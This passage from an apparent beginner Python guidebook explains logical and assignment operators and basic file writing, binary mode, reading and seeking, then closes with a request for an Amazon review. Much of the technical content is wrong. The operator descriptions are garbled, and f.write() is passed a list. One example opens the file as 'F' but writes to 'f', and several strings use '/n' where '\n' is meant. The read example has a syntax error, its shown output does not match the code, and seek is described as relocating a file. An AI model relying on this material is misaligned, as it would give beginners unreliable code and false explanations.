As you get to work on your code, you will notice that there are quite a few times when you will want to add in a comparison operator. You often will set up some conditions that need to be met in order for the code to act in a certain way. Then when the user puts in their information, you can use the comparison operators to tell if the user input is the same or different from the conditions that you have set. You may not use these all the time, but any time that you are setting conditions based on what the user will place into the system, you will need to work with these comparison operators.

Logical Operators

You are also able to work with the operators that are known as the logical

operators. These are great because they will evaluate the input that a user is giving you with the conditions that you have set. There will be three main logical operators that you may want to use, and these include the following:

- Or: with this one, the compiler is going to value x, and if it is false, it will then go over and evaluate y. If x ends up being true, the compiler is going to return the evaluation of x.
- And: if x ends up being the one that is false, the compiler is going to evaluate it. If x ends up being true, it will move on and evaluate y.
- Not: if ends up being false, the compiler is going to return True. But if x ends up being true, the program will return.

These are similar to what you will find when you work with the comparison operators, but they are often used in different ways. You will only need to use the three terms above in order to make the logical operators come to life, and there are a few times when they can be extremely useful inside of your code.

Assignment Operators

And the last type of operator that is commonly used inside of Python is known as the assignment operator. This is basically just going to use the equal sign (=) to help assign a new value over to the variable that you are working on. For example, if you are working with a variable and you want to make sure that it is equal to 100, you would just use your equal sign to make this happen. There are a lot of times when you will include this operator into the code to tell the compiler what the variable should equal, and you have probably already seen this done in some of the other codes that we have talked about. Pretty much any time that you want to tell the compiler to assign a value to your variable, you will want to use the assignment operator.

There is also the possibility of being able to assign multiple values to the same variable, but you just need to make sure that you use the right signs and write it down properly in order to make this happen. You simply need to use the same variable to make this happen and then make sure that the equal sign is in the right place, and then you can have your variable hold on to as many values as you want. Most beginners choose to give one value to each variable though because this keeps things a bit simpler to handle.

As you can see, there are a lot of different operators that you are able to use, and they can really add in something extra to the code you are working with. You can add and subtract and do other things with your variable to help you do mathematical equations. You can assign a value to the variable so that the compiler has an idea of when to call it up and how to use that variable. It is even possible to make some comparisons to help you figure out how the system should work inside this program. Try out a few of the operators that we talked about in this chapter to help you add something special to your code. You may be surprised at how much you are able to do with these simple operators.

Chapter 8: File Input and Output

There are going to be some times when you are working on your Python code and you will want to store the data that you are creating so that it is available when you want to use it later on. You will be able to store it in a few ways, whether you want to bring up just part of it or all of it later on.Often, you won ’ t need to use all of your code right in the beginning, but it is important that you have the information in order so that you can pull it up as soon as the code is ready to execute it.

As you are saving things on Python, you will be able to save this file on a disk, but you can also make sure that you are reusing the code over again, as many times as you would like, inside the code you are writing. The only requirement is that you save and call up the files in the proper manner and then this can be done. This chapter is going to spend some time looking at how you would handle these files in the code so that they are saved properly, and you are able to use them when you want.

There are a few things that you can do when you decide to work with file mode inside the Python code. If this is a bit confusing, there are a few ways that you can think about this. We have all done work inside of a Word document and then needed to save that document so we can find it later on. This process is similar to what you are going to do with the Python language, but you will be saving parts of your code rather than the pages in a Word document. Some of the operating that you will spend your time with for these files include:

- Writing some new code to a file that you already created
- Seeking, or also moving the file over to a new location
- Closing up the file
- Creating a brand new file.

Each of these is going to work in order to help you have some control in what is in your files, but you need to make sure that you properly handle them. When you use these properly, you are telling your interpreter how to act.

Let's take a quick look at how each of these will work when you want to save your files.

Creating A New File

Before you are able to save any files, you need to take some time to create a new file that will hold onto the code that you are creating. If you want to make this new file and then be able to write on it, you need to open it up first inside of the IDE and then choose the mode that will help you to do the writing. The good news is that there will be a few options available to help you to do this. The three options that you are able to use for writing out the code include mode(x), write(w) and append(a). Any time that you want to make some changes to the file that you open up, you can always use the (w) option because this is the easiest.

Now, if you would like to open up one of your files and write out a new string inside of this file, you will work with what we will call binary files. Despite this, you need to work with the write() method still. This one still works because it will make sure to return the characters that you want to write into the files and it is easier to add in the changes that you want, write out brand new content, and so much more inside the file.

For the most part, you are going to work on the write() function. This one is easy to use and will allow you to make any changes that you want inside that file. You may just want to add in some more information to this file, take stuff out, or do something else to the file once it is opened out. Now, if you would like to do the writing in the code, use this example to help you to get started:

```
#file handling operations
#writing to a new file hello.txt
f = open('hello.txt', 'w', encoding = 'utf-8')
f.write("Hello Python Developers!")
f.write("Welcome to Python World")
f.flush()
f.close()
```

Take the time to add this into the compiler and when it is done, you are basically making sure that all the information that you are creating will go inside the current directory. You may want to make sure that you are in a directory that will work for storage or at least one that you are able to remember. So whatever directory you are in right now is the one you will have to go back to when you are searching for the file, in this case, the hello.txt file. When you find this file in the directory and try to get it to open, you will get the message "Hello Python Developers! Welcome to Python World."

We went through and wrote out the program above, and so it is time to do a bit of work to make some changes in the code so you can see how that is done. You will be able to make any changes that you want to the code, but we are going to focus on changing it up to have a different thing show up on the file that we created. You are able to do this when you are writing codes inside Python, you just have to change the syntax a little bit and then add in what you want to change. A good example of how you would do this is:

```
#file handling operations
#writing to a new file hello.txt
f = open('hello.txt', 'w', encoding = 'utf-8')
f.write("Hello Python Developers!")
f.write("Welcome to Python World")
mylist = ["Apple", "Orange", "Banana"]
#writelines() is used to write multiple lines into the file
f.write(mylist)
f.flush()
f.close()
```

This example is a good way to learn how to make some changes to one of the files that you already wrote out because it is simple; you just need to write out that additional line. This example is pretty basic, and you don't really need to add on that third line with the simple words, but remember that you can always use this as a syntax for your own projects and then change things around to say or do what you would like in the program.

Working With Binary Files

The next thing that we are going to concentrate on is working with binary files. When you are writing out these specific files, you want to make sure that you write out all of the data so that it is a binary file. This is pretty simple to work with inside of Python because you can just take the data that you are working on and then write it out so that it becomes an image or a sound file rather than letting it be a text file. Any text that you are writing inside of Python can be turned into a binary file, whether you are working with a text, picture, or sound file. The thing that you have to know during this is that you need to make sure the data is located inside the object so that it can be exposed as a byte later on. If you would like to write out your text to be a binary file just use the following syntax:

```
# write binary data to a file
# writing the file hello.dat write binary mode
F = open('hello.dat', 'wb')
# writing as byte strings
f.write(b"I am writing data in binary file!/n")
f.write(b"Let's write another list/n")
f.close()
```

Before we move on, take some time to open up the compiler and write this all out. Make sure that you have the encode and decode functions in place so that it is easier to write out and even read the text out in your file for binary mode. If you want to allow this to happen inside of your code, make sure that you write out the following code example:

```
# write binary data to a file
# writing the file hello.dat write binary mode
f = open('hello.dat', 'wb')
text = "Hello World"
f.write(text.encode('utf-8'))
f.close()
```

Open Up a File

Now we are going to take a look at how you can open up one of the files that you created and saved above. We already know how to make some changes to the file and even how to create that file, but this isn't going to do us much good if we are not able to go in and open up the file that we want to use. There are many times that you will want to open up your file and use it again, and a good syntax that you can use to make this happen includes:

```
# read binary data to a file
#writing the file hello.dat write append binary mode

with open("hello.dat", 'rb') as f:
        data = f.read()
        text = data.decode('utf-8'(
print(text)
```

the output that you would get from putting this into the system would be like the following:

```
Hello, world!
This is a demo using with
This file contains three lines
Hello world
This is a demo using with

This file contains three lines.
```

Seeking A File

And finally, we are going to move on to seeking one of your files. In addition to using some of the tasks above, such as creating a file, writing to the file, and opening it up, there are going to be times when you want to make a change to the file or move it around a bit. For example, if you ended up not getting things to match properly or you ended up misspelling the words in the title or placed the file in the wrong place, you will find that using the seek function can really help you out.

The seek function is going to make it easier for you to go in and change the

position of your file so that it ends up in the spot that you want, or at least in a spot that is a bit easier for you to find. You will need to tell the code where it should look for the file before you can make some of these changes though, and that is where the to seek function is going to come into hand.

There are a lot of files that you can work with when you are using the Python language and trying to figure out where to place a file, how to change it, and more will sometimes be difficult. Try out some of these codes and see how easy it can be to work with the files.

Conclusion

Thank for making it through to the end of this book, let's hope it was informative and able to provide you with all of the tools you need to achieve your goals whatever they may be.

The next step is to start working on some of your own Python codes. Python is considered one of the easiest coding languages that you can learn even as a beginner because it is easy to read and the library and community can really help you along the way. This guidebook took some time to explore the various parts of the Python code so that you are able to get started on writing some of your own.

There are a lot of different parts that can come with your Python code and figure out how to write one of these codes can be hard without learning how to bring all the different parts together. This guidebook will discuss some of the major components that come with the Python code including how to get started, how to work with the if statements, working with the exceptions, how to separate out your classes and objects, and so much more. When you are done going through some of the practice options in this guidebook, you will be an expert in working with Python.

Many people are worried about getting started with the Python language because they feel that it will just be too hard for them to get started. But Python is so easy to learn that you will be able to get started with it right away. When you are ready to start a new coding language, make sure to read through this guidebook and learn all the basics that you need to get started.

Finally, if you found this book useful in any way, a review on Amazon is always appreciated!